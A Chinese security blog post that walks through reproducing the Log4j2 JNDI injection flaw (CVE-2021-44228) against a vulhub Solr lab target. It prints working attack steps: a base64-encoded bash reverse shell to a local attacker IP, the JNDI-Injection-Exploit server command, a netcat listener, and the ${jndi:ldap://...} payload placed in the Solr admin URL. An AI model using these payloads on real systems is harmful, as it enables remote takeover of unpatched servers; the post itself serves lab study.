freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Log4j2 漏洞复现
素年啊 2023-08-30 20:37:04 141357

Log4j2 的介绍

Log4j2 是一个用于Java应用程序的强大日志记录库,旨在提供高性能、灵活性和可配置性的日志记录功能。Log4j 2 是 Apache Log4j 项目的一部分,是 Log4j 日志记录库的下一代版本。它是用于在应用程序中生成日志消息的工具,以便于开发人员能够监控、调试和分析应用程序的运行情况。

简单来说他有着 记录日志, 监控应用程序运行, 故障诊断, 性能分析, 合规性和安全性

Log4j2 漏洞产生

${} 语法: Log4j2 允许开发人员使用这个语法来调用一些系统的变量 .

代码例子:

<Configuration>
<Appenders>
<Console name="ConsoleAppender" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} ${sys:a} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="debug">
<AppenderRef ref="ConsoleAppender"/>
</Root>
</Loggers>
</Configuration>

在上面的配置中,${sys:a}会被替换为系统变量a的值。${sys:a}是 Log4j2 特定语法,用于引入系统属性a的值。然后,%d{HH:mm:ss.SSS}是日期格式,[%t]是线程名,%-5level是日志级别,%logger{36}是类名(截断为最多 36 个字符),%msg是日志消息本身。%n是换行符。

如果系统属性a的值是12345,那么相应的日志消息将会是:

15:42:17.123 12345 [main] DEBUG com.example.MyApp - This is a debug message.

通俗点来说:

比如说有一条日志长这样

[main] DEBUG com.example.MyApp - This is a debug message.

利用 ${} 语法, 比如系统里面有个变量是 a = 12345

${sys:a}[main] DEBUG com.example.MyApp - This is a debug message.   //这里用 ${sys:} 是引入变量的完整语法
最后变成
12345   [main] DEBUG com.example.MyApp - This is a debug message.

Log4j2 语法利用

这个语法不仅只有调用变量的功能, 还可以用${jndi:jndi://10.10.10.11/abc}这个语法来加载远程的类并进行反序列化

所以需要启动一个JNDI 服务让Log4j2 进行远程加载调用

这里可以用到工具 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

Log4j2 漏洞利用

知道可以利用这个语法了, 那就得找一个可以被控制的利用点

CVE-2021-44228漏洞产生的根本原因在于Log4j2在处理用户提供的输入时存在安全漏洞。具体来说,漏洞路径位于/solr/admin/cores?action=,这个路径实际上是Solr搜索引擎的管理接口,允许管理员对Solr实例中的核进行管理操作,如核的创建、删除、重载、重新加载等。

漏洞的核心问题在于对输入参数action的处理。攻击者通过在action参数中传入${}语法,利用Log4j2的解析机制来执行恶意代码。

即是: /solr/admin/cores?action=

Log4j2 漏洞复现

这里用到的靶场为 vulhub log4j2 CVE-2012-44228

先启动 JDNI 服务 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "要执行的命令" -A 服务器地址
如: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping dnslog" -A 192.168.6.5

制作反弹shell 命令 , 因为一些其他原因, 需要对 反弹shell 命令进行 base64 编码 ,再解码

bash -i  >& /dev/tcp/192.168.57.129/8899 0>&1  base64 -> YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC41Ny4xMjkvODg5OSAwPiYx


bash -c {echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC41Ny4xMjkvODg5OSAwPiYx}|{base64,-d}|{bash,-i}

启动 JDNI 服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC41Ny4xMjkvODg5OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.57.129

1693402050_64ef43c285cf5e48cb2e1.png!small?1693402051293

启动 NC 监听

1693401992_64ef4388006dff6dca048.png!small?1693401992370

进入靶场

image-20230830195940858

找到利用点 /solr/admin/cores?action=

image-20230830200113000

url后拼接 payload

${jndi:ldap://192.168.57.129:1389/w1t1db}

image-20230830202830366

最后nc 这个接收到反弹shell

image-20230830202917231

到了最后,我再想声明一下, 因为我的能力有限, 所以如果上面有不对的地方,可以提醒一下哈 !

# 渗透测试 # web安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 素年啊 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
素年啊 LV.2
这家伙太懒了,还未填写个人描述!
  • 3 文章数
  • 5 关注者
我对Fastjson 漏洞的理解
2023-08-05
MSF实现二层代理实验
2023-06-15
文章目录